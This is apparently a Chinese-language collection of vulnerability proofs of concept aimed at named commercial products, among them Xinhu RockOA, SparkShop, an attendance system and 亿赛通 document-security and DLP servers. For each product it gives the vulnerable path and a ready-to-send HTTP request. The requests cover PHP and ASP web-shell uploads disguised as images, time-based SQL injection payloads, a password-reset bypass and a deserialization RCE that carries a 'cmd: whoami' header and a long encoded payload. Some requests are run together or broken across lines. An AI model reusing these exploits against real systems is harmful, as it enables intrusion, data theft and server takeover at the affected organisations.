sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhp8gBUbCczcaLGAa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=662e1cea3d0191
Connection: close

------WebKitFormBoundaryhp8gBUbCczcaLGAa
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

你的图片数据
<?php phpinfo();?>
------WebKitFormBoundaryhp8gBUbCczcaLGAa--
```

信呼

Xinhu RockOA v2.6.2存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/index.php
- 漏洞详情：

```
GET /index.php?
m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw=
= HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: keep-alive
Cookie: loginname=admin; jueseid=1; danweiid=1; quanxian=0;
PHPSESSID=cv1c2tefjckfjnpin34n2oc8h1; deviceid=1708223329907
Host: 127.0.0.1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/121.0.0.0 Safari/537.36
sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1
```

星源图

南京星源图科技SparkShop存在任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/api/Common/uploadFile
- 漏洞详情：

```
POST /api/Common/uploadFile HTTP/2
Host:
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Length: 178
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="file";filename="1.php"
<?php echo"hello world";?>
------WebKitFormBoundaryj7OlOPiiukkdktZR--
```

雄威

杭州雄威餐厅数字化综合管理平台存在存在绕过认证导致任意密码重置漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/Account/ForgetUser
- 漏洞详情：

```
重置密码处，改回包中的code字段为1
```

亿华

亿华考勤管理系统unloadfile.ashx存在任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/handle/unloadfile.ashx
- 漏洞详情：

```
POST /handle/unloadfile.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101
Firefox/99.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
```

```
Content-Type: multipart/form-data; boundary=----------------------------sadasd897729dhwaiuhqqwe123
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

------------------------------sadasd897729dhwaiuhqqwe123
Content-Disposition: form-data; name="file"; filename="test.asp"
Content-Type: image/jpeg

test
------------------------------sadasd897729dhwaiuhqqwe123
Content-Disposition: form-data; name="action"

unloadfile
------------------------------sadasd897729dhwaiuhqqwe123
Content-Disposition: form-data; name="filepath"

./
------------------------------sadasd897729dhwaiuhqqwe123–
```

亿赛通

亿赛通电子文档安全管理系统NoticeAjax接口存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/CDGServer3/NoticeAjax;Service
- 漏洞详情：

```
POST /CDGServer3/NoticeAjax;Service HTTP/1.1
Host: ip:8443
Cookie: JSESSIONID=A7058CC5796E5F433F2CC668C7B7B77D; JSESSIONID=0E09F2450421C51339E5657425612536
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
```

```
Priority: u=0, i
Connection: close
Content-Length: 98
Content-Type: application/x-www-form-urlencoded

command=delNotice&noticeId=123';if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFO
R DELAY '0:0:5'--
```

亿赛通数据泄露防护(DLP)系统 NetSecConfigAjax SQL 注入漏洞

- 漏洞类型：未知 - SQL注入
- 涉及版本：未知
- 利用路径：/CDGServer3/NetSecConfigAjax;Service
- 漏洞详情：

```
POST /CDGServer3/NetSecConfigAjax;Service HTTP/1.1Host:Cookie: JSESSIONID=99CEC1B
294F4EEEA7AFC46D8D4741917:JSESSIONID=06DCD58EDC037F785605A29CD7425C66Cache-
Control: max-age=0Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-
A.Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform:"Windows'Upgrade-Insecure-
Requests:1User-
Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko)Chrome/124.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,appli
cation/xml;g=0.9,image/avifimage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7Sec-Fetch-Site:cross-siteSec-Fetch-Mode: navigateSec-Fetch-
User: ?1Sec-Fetch-Dest: documentReferer:Accept-Encoding: gzip, deflateAccept-
Language:zh-CN,zh;g=0.9Priority: u=0,iConnection: closeContent-
Type:application/x-www-form-urlencodedContent-Length:98
command=updateNetSec&state=123';if (select IS SRVROLEMEMBER('sysadmin')=1 WAITFOR
 DELAY '0:0:5'--

command=updateNetSec&state=123';if (select IS SRVROLEMEMBER('sysadmin')=1 WAITFOR
 DELAY '0:0:5'--
```

亿赛通电子文档安全管理系统 SQL 注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/CDGServer3/CDGAuthoriseTempletService1
- 漏洞详情：

```
POST /CDGServer3/CDGAuthoriseTempletService1 HTTP/1.1
Host:
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like
Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/xml
Content-Length: 510

CGKFAICMPFGICCPHKFGGGBOMICMOKOBGPCBLKPCAHAGPFJHFABCPPKIOHIAIBJLLHJCODJMA
GKBGIKDAFJHJMMKBDHABAJPBFNLBOIDFBHMMFKFHLPIAOPHEOAICJEMBCKFEIPGINHHBEGD
OMEOPDKJGPNIJEDNOMEKLJHCGOJCEIPFPEDGBEHJLMNEEFIKFPGCCKCFCCOMONKACOEENLF
IBAGNJBLHDNBBCNKNLDJINDOCEBFIKAEMNHAPLPHONFGFGIKIAODPKKLMDBNPGPHLNICFP
MAIMFCOAAFINGBKHCKEAOMKBBALOEGJNGOJBLOJIGKKMKPIDMLCGOFIPFLMODDPOOJNJO
GHNNMOJGPKBNDEBEIBACIDFMBIJCJDMGLFGCHAHGBIJONAGEOCIKHKHFCEPHONEMCMOJE
ALFDEKHHIGBCGPKAMKKFNOMJEEINOPOKLEGFLEBIIGAFCDAMAMBFDJPIKCGDFIFMGAFMGFF
CECFMFDGJFGFIGICP
```

亿赛通电子文档安全管理系统DecryptionApp存在反序列化漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/CDGServer3/DecryptionApp?command=GETSYSTEMINFO
- 漏洞详情：

```
POST /CDGServer3/DecryptionApp?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami
```

```
NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAA
CABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDH
PNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMA
GEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJD
CINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKK
PHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCE
CMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEE
JPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGL
OINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPH
DDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLM
LBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEA
HMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPB
DICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEB
GJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLN
PKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMND
FBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOK
BMPCBDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGP
OILBEGOKPOAAPGMICFMFLJNDMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBF
GMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAHKBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKO
LAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPANPLIBGDCCNMDNDNOIPOE
CCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBGK
KMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHO
PGKLOPHLMELJFBIABENFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPG
LIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCINIECHMJJMCKHICOMIMLHJAOJIGIFLMINANOFADOGDLLHC
EKPECHDFBGIPEPNJBJOGLHDLKFLBFPLPFAENMMIFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBNEAKOAMME
HPGCBAJCHDBGJANBBHGIBMPHAMCEHEFLBAGOKDPKIPPDFLJIADKKOJPEPIGAKPCGKBNFBPLLKLEGBPJJC
DJFGHDMLPNJBGFMLGMCABONHBLHPKHKEGJIBPFKCLMBIKKOMINPAJEPFHANBIBKMPHKEODCBMMIGAEFCE
NBNKDONGNLBADGDLJBMJGKEMNJOMPHDOPALIGEPCEDDAHJMNMJBFLIPBODEDCDAPMNGCANOCPLLMJOCPM
PJDMEAMEPELICJKJLODAJEILBOJNFAJOFNOGCHGOJEGMGCPNCDEECKPAIAOHCLJBBFDKKAIHOJEKDBOFM
FOBEDLNGJNIAJPLGMHBLHODIKDLEPOINDPDDIGKOLGEOBFFPMOHLBEALFIGAKNDKEKEJMJLNGHNANLCGL
PNLBBFNKNEKCGBJKJDABFNAGPDILHBAAIECKBLKEDIJIMPJOMFLHBMOBLEKNEHINHAKBOHICLGBBPIEJI
KALMIJHKHFIDNICAEEFPGGPBCBFPOJDFFKAGKAEOOCPMGCCMHPCIKHCODDCNGDDNDLAIMAPEMPNECNFPI
ALJELGOIHECEKHBHOHNIFCBJBFAOKKDCMNHHINAFGNECFPOGHBNMPJOECCFOCHICANBDOCCELJCENBMIM
BKCNJAEMBHLOJOGALHGLLOEBFGFJAOFJHEGNLCEBCHGLNFEEIDOKIJNDHDANFPGLEMHOIJHOOJGKLGHBF
BMBPBKEFOAKAIAGDMBLDEKLFKADKHNPAKBNPDKFIOAMAKKEHFNDABEPGKBMFCDFFOCIPDDEBOBFONDJFA
JIJBAMGNBMCMJODGEGKIMIOLLAKMKJJAOCEMOBDCODALCKGKKKIADHOFMLNDGJBEMLLJPJOKPAIDACMPC
OKAGKLIIMDENPNMEIBBMIFHGJKLKGPNOBJGMMLDKFKALLFHFDGDBDBMPOPDBLDNMAALEMAHGINFECKFHK
JHFOCDJNBEDNGJCNENGIDHBJOLHEPFLEPHOOGJKFEGFLEMLGKDOOKIMAJIBJKOLAKCHBJJFDIGEMPABDN
JFGMDAGEDIOHJKOAEHPLIBOFLIMFIEFOOGDHDNLCKOKPEDKEEBPAHKFMKBNNBAMICPOPLNPIGLMPDLAFB
IEPHPJBFLBDECCPFINEBGMPMECAICGFLMJEKEIKDOKJMOAJLFNHHEHEPDAMFLNPKCDPODPLMFFAMILMAF
IDBDJJOKIJKGJACMOMEHDDCJJAAOAFJDCCEFHKMJNDJEOLOOIHCFIILOIGCOPDHENDDEODNJAJJFHNJIB
JGJPFFKEDPBJAKIPHPKELOMHNFABNMIMODOGPBOFLLPBGAHCEOBBFJLKNAMKACHIOMMFLAPFJCHBIJAAE
JELEFFEIMAMCACJBBGADJDJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIKNBGDCJJCPMABJINOGLAPAHGLJL
ADBJKFLNAAFKFOBIJKCFIDEKNFGFCHDPGLKFDKPPHPNCFIGAMHBNHMLJAHOKKFLNOCNDNPPJJHBBKHDII
ENFAGAHOMFPNNBGDLDEHLBDOKEOAEFPPCIEPGIOAHDEEMIKDPHBMADGLNILDCIEKELEBBEOBKLCDLKLKL
LKHDHBHGDDLHOHGPPANCDABBHHBDOOLEOAKBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIGOGDKMBIAMJNNO
OFGCNHBCCCFKCAOFDDDCBPLMMHGBLEDOPNEHBOECJGFMFOEIEIFAHLCOOAOLBFFKHAHIEMAEOBBPMBJND
MJJDMNJEMBGMNEPCFODGCOCKJICOBEGAFJKFADJOFMGPILCDMBFLLLAHEKPBCDJEBMHDLBLDLLCIAGNJJ
BFHFOIPLNNOFAFNOMFPBPNFLPLFFNNBBNEPBHBKJEOHBJPMOHHEKFHGACPFPDAHPCAPPGPKBJBGGNIPLO
HFPAPHLHCJJHNGNKOMDMIECKACEPHCFJJAIPLCEOFNLBAFGFLBLNBPAHBOOJOKHIBAJFEAEKBNHHODNJN
MEONLHDIPPCJJAEKOOELNHPDPAEPPBILHLHELMDHGPJMILIEOFJHBIJHAIPPKCIJKKANAAKEDNDAILJPG
JLIBJMABMPDMHGPNALCCAIIAMJMFGJDOIPEFEBMMOBABIKBMMHMFHLBEFFLAGJLNMDEAOALFJGOGNFMFE
FKPMNCNNEFMJNADLNIILEGKLOOHMBHPJJCNFBPKIKMAIEIANCNDLOODENILDEJELHACIBBOCINOOFNPMI
NIFDEFMPBNDMFGHJHNKCKDECBJIBFMIMBGFCIHDJAKCPNAPNMOIKJIDLPJCIKNOGJDBALIDJPCNICIAIP
NGPCLDBGPIFLGDPNDOODLHJPLHFILLLKDJHHDIBODNIPFLCAKAFMGCAAMKOEOPLJAAAPDAHJAJHIHGPDF
LNALHAPHIOBEDFICNIHJLFALHJKNLFLBKIHIFNAIIFBILLNOAIOKFMLEPDIKMHGNMDLKBIEGLFHDNPPDF
```

```
PEDPGOLPICMJPOFEAJJMHGKPJEJNEMJGIPKBDHEGLILBLJIEICMNINFCHAOGJNMIHPAOJCCFNJHGJCJEM
JJPCNFDKKGDJCDFBPGNKGDMPEBIIMLMBBAOGBOPAEFOMIHEJCKJGBLFFOGNGOFPPJEFNPLFPOGPICGIKM
GPNIKNOELEMAGNHKHOIKAILJBMJJIPABBGPICCMPNFPHHFHKDAHJKBMAHDBKLAJKPJFHOICCDFKJEDGGF
DKPGJLKFJJJKCOANLNPDEJLHBBHJJGMNJPHFCHGINMJIMBDCBCDOHKDANDLFDOOCEADNHODFKGLBGAPAA
ONECAEACNDKGFGIMDAAKMLJJLAGKCJDECINGDJAHONECBMFDKMCKHOKADAPGBOKOGPEDFMHKFBDEBOMKN
MELIALJHOHGOCAMKJCFECMNCODNHGIFBFIIJMPEHGNBDNGHICBLIGCOPDHENDDEODNJAJJFHNJIBJGJPF
FKPBFOBDLLOIBAHALODFMHODOHOPGPMGLIPIJONOFCGMELPFMKMMCPFFNMILJFONAACCBCIJFCAFHOHLB
ALEIGHDPMMFMFIHKJBAGGGBDEDNCDHEJALEBDPIIEGCKGKMPLGKJGEJAJPMIFCDBAELNMDPNKFCAEGJCA
FJPJBBMPLMEIGCNPOLIGHCLGMEJLKCHEPGBJCCDECFMKIBLFIGOFEJKPGAHIGOHNOKMLOHLKDIPAPMFOP
BHDBMAAEBEOKBEMEHIILJENNPKHJIMJMNLGHMAENHOHGMEFLKPJJBHDGLGAAMIGDMDCHBMICMDKNGPCOP
EKDEMFLKINAMOKNDLDBABNGLFPJHFMKMBBCAEJDENPHGJGGPLMIIHHIAHGIBOINFBNCKJLJIGEPNAOGJF
AFPDDBHEBCKNNJKJDLBPHHDNNCEDGAKHGOKPMCLOOPIHHNFMNFOILEAOIFGOJGPDCBLNGLEIOHHHAJPFP
GLJNFFHKCNMFGHAHANBJLHJFNNLIBEIFKHJHMENIIOONPDMFOCPKEDHHMEPHAJKGALDFDBOFKBOCDDAFL
JBDIENKOHGJPHGLOPDMIEPDBHBBEILLFPOAKJKJAPFKAOMLFOJBLAAEAIFLBOMGECGDBILGNGBEHDEOFL
OLHJKAOJMJKNNLKNDHAPCKCHLAFHMCCLNNIIGJLDLCCOALPEPPNEBDNPGEMMPFFALFDONIGHJEMJGJGPL
KDKMBGCLJEPLHDBOIKMNGELEKLJLFFAEEEDMBJFLJGGHMPHADEJEJLKJCMLNFIELFBOKAOPCIMCEBFNGM
ECGFAMMNOMCHKEIJGGNIHKPBFJLKODLLABGBJANDJFBJNBDHIDNGJGLAOFHGFBMJAFJNNLKNBAALOGIIH
FMIOLDOEEFNNJDFLIMNBAHJGPJBDHIKGHCDMMLKFOHOJFLOLHHCEJACKLGHIBJHJHGMECCLNHBDGHFNPN
OFEJKKOMEFONNBANBKOLDEMFCMDLNLGDBFEOIKAFJDAHAEJHMIJGJFAOJIHAIBHOOEMHHCOODAIEOEBFL
MNAMDIIDLDHAIJDBKCMGKJFHHFKKGABCJCPHBBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIINLEMPICLDNG
AEELNGONJIKOPFIJBJIPDGPLEDMHNJJHLBJDDGNDIHECEJNEFNLEHNHFCFOEEEGFIOKCPENDLNJJHGFJG
AMNFLNFFIMPGKEMKKAMEPBAHBKBHGGIEANHFOKPEDDNLADKABNLJPONGDIGMCLENLOBAKMEPODENJNNDP
EOCCLMLOJDJPPPMEFLBFLAIDHNCCHDDONIDPMKIOAGODDPKHDBGFCIGOAFLPBMELEPDHECABPOFMOKJEC
EHKIJIKHLCEFMAIGEKAALLCMMCDLPHELOCEDNIAIIHJCGFHJFBBKFKCFOBAABJEIMEIMDPEPCHKEBCEMI
PECMAJGCEKHGOKOGFNHHFMKOICKKBKKKBDGDPCGLGMGALDDMEEFILPFOCFHFGIPOHKADHACFDJCGCKPAN
CHDAEDMNIEACGEECCNIBJGGIENIOENAFDBNMJCPJDDDKGDLKMCILLIEKBEDADHHCMONHBAABOGHMPNGHH
EHIHCBBJJINCFFJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIMBDPENPCFFFPDGMKEBPFOOFFBHCKPAGHGJJ
ELHDFJBCKLMAJDCJIIILHKBHJJMKOAOMLFOJBLAAEAIFLBOMGECGDBILGNGBELIMDAFIFCBLHDHLCJLMA
HCOKGMKDCLKKOGKKNDDAHMGGIAKGHAHPNADHLLPPFDJILKFMIHHPIMLOGMDHPFJHPMGEBKHGHLFDKPIKN
DKFLBNHOODBEAHNBBDBALEJGOLJHFPKEIHMLKAJHBNICKMPHFANCLPNFFLDDHEKKOLODMEJOIJGPDOPCG
DPKLNDLPBHFGIMJCPMLPCPNPCJCKNJBCJOJIJCHDGIDIIJGKMKAICADENFOEEGHJNEHADCHNEMABINOII
GAGNGNPNCPALKIADLLJBEMOKJEGPNELELFGCIFOMAFBPCAKEDHIGLMFPFIHGLFPIHFAOFBEIIDHKDCGIG
PNOICHCLEAKLHILHDCONAKMNHALCLFLNOBIMBCMKNGHPIHGDEIGGILLNIHDPACAJGHBEBEBMIDAOCAAKG
MNBCBENBLGLLLOKMDMJANECALMLPLJNKGJKBLCIPBJBPMJOHNPOBPOBCGEMKBPJABNDBKCGAFALLDPJHH
GMOGDJDNEKGJBMEIBPIJIOLDOPCEDKDPACBAAMDFLLJMFEGLKICDEMPCHMHIDFKFKDCMGGALJOLJEMCGH
MKIMJPOEFPGECHMGBLGGGBJEHBDGGAJEALPEDHDGJPPFLLAHGGKAPCNJCIFBLMGGCKOJLHCHOIMMGEADL
OPOPLIHPEPBAHNKNAKOFIMOBBJIBBHMFDNDAIIFMLPLABGGJEDHELLDPGHIGOECAEMDJBGHODPCNEDENI
FPEHAMJDPDEMNJOACCBGPPEILNOKDFHCNGKANGBCDCDNGEIBMJODCBPJNGKLECPCHDHJEEDHNFJEKGLMA
FKCMKAMJPDMJLBGLPEJLLHINCGOCOENMLDKLDLHIDAHBBINIEFLIFGBJGMGMDOJDLFNMAJDPIFGICFKKI
ECPIPHHBMAJJGNBPCKCOIMIOODGNDMKKMLKFIDHKBFGDHLGANLCJCDEMNPGCGPIPNEMIKDJJNKECHEJMC
NAGDJNGIFFDPFGMAKLPLPLMOEDIEIOIIKMFLNDFDHCJHENMMAAJOFJLGDIAHBOCLMAGLPKKJAJGFPDCBJ
PGNAAMNGNNFDHDPIEHFFEPPJOMADEBHBIGFNOKHDKDNAIAAKLIGFNIFDKFMLJANODMADILHHONCGNLNJE
KKAJHPMIDGHNJJOAGGFNKCOCONGBKNDNIJOLBGLGPLAKGCDIKIBNPMOACDBJLDLCNDCKFOJKINIIPBNBD
HMNDEILFFCBIEMNMHCACEDFAHNMJLDEFGMJIINCJDNOHLDJIDOKKPCCENOHBDNMCGEHGENDBBBHFOFIAF
GGCNKOKLMMCOOHNJEAJKILLKFJCEKEEDJHBGIMKLOEANBKMBFLDAGGOAIHNLDOPBPCHGNIDHGKFAMFGKB
IIENFMJLHCGEMBKNJPMKDFCJCHFOLNOIPADHBEPLLHMNGEBMBHNLBHPIGHGPGKCPFOEGAHJKPIPGGMPIG
NBDDIHKCLOFKIBBBHNPBNCLFGCHPOMIENELILEJPLKAHBJEPICAGJMNOAAOJLMPDBOOMEOFFAMKILAJAN
PCKENJMKLFKMBGOKBNKFGEGAEPEANNCIEENEBEBECBGLOKHEJCFCKABBAAMCDKCIMJLILOAEKHNKPCGOL
DBBFFIGDHPDHOFNMLANMCHBIEHHIBHOPPLOFEGOAJLHCHPHGKLOCGJKKABNHLEHGKOINGEDMGDMCKKKLA
BBIOJCGANBDOCCELJCENBMIMBKCNJAEMBHLOJOGFLKJCNMEPJPKGKPHDGHIDCKAODGNNNCDKEDHLCIANL
KENHMMDELDNBPNNNPHLGDDOLGDFPHOHFPBKMFEGOLFMMAFCNCDLMEKPKCDJNHIOJOOJADDHHHPPLGLMIN
ICBIOEIALHBBCEGACCNDNOAPGNAGELEPGCBGLAEOPFGGIJBAKDFCPCCGJAHBDAJEPBCFMNJIKADAACMEF
NBCBKICAALEICBCKEKHPCPDAKMDPGNCBBNKDFICFKKJEGOEJELPGLECFINPMBCCDLIGEJJALHPNHDAMIF
EGJOCFGFDGBNJKHKAMOKOKKLIFIBAFAELPAPCHFFEOEBNFMLGPPMCDHDIIABOBFDCPFOMMNCJGJJFPGFH
OKMAGCEOCKMJJPPAFBDLODOABMLPLAMCJIFGJNHALNOJMBLCFJFCDNCHLBGHLCAOICIJGDLGDMEKPHHMB
OHAJJGMAIGLPIEIHHLKDOMBJMOPJIKBAKDHBBJLJJNPOHIDBAFAGMBLLPIEHENEMHNIFAGMMELMAJHCLF
```

```
CDNFKHGEJFGGEIBKPFAFHFOFHGMCLLGCAJDGGJNKFBGDAAEAJNGEOJBBIFLLKNJIOJNHCFKPAPHGABENL
MABGDMFOEEKIMHOBPCLPEAGNBFHEOMLGDDLDCODAJIEIPJNHJFDPHILIKHMHJHBJBLPNPPPJOJJBDJHCP
OCLBIBBPJLLMNKIOKPHOFJKEJAMOBGCHOONMPJNEGDMNFPKMNOIOMJPEPDNKBODKFCDGJMGBCNHIGHFOD
OJAHDAFEDKOGGLMEJCOACLPIMCMPLDKDAPFJGGECGPNCEDGAEMJADOCGBEFIIPBMJMMMPNHNAKJOBMOIM
MOMEBOBHPPIPAHJHKMJADIIDCIGOMDJBJHMHCGFJLELPFOMAFEAPHLHCCKKNNJMMLKIJEBGEBEDOOLIFH
LKHCOONJMHCAFGOKNOAAKONAAPPMONFOJENLNEPGBJKLEHIGBDOAIDKAILCHIFPPGGFLGCPINADFPDCGM
IHHIPHBCPIPHKGMGBPEICLDADONHGOFMMAMLAAHHMBIGNNOENIOJLMNGNMMKCNGEKEHLJHHCDFJKMDOGM
OLHIEHDOCNBPILJOFBNCDONBOIHDDLALGCLOBNAFBDHNPEJJODIENCOCKHGOHOOLHFNDOFAEPCHOJNFJJ
NHKAIBGJEGDBHDFJGHGEPIAGPJBCCCAKMHIFDDNEDMCAOBCCGOHCMMADMKHCKIACBMGFKOGDNFGIGBJFF
FKJFNIJAPHIMHKOLLIECAJFNFLJLLHEBIBLIOBOEIMNJMIJOCHEBEKPDJOCCMGGEOKGOMOFPKAICOHBGB
OEFIIIAJKPEIIGBGLJCCAHJNKJFILFICJCPAICDGOBJIHMEOJHLCNJBDIEHHNDGKMKLLDLMAJLOHECBFJ
EOHKCABKIHGEBNMAGAODODMAOMOBILIIGCDKPJOKLAFLJLENBFFNNAKANMKNKNBNOJBKEKODPBIDDCELH
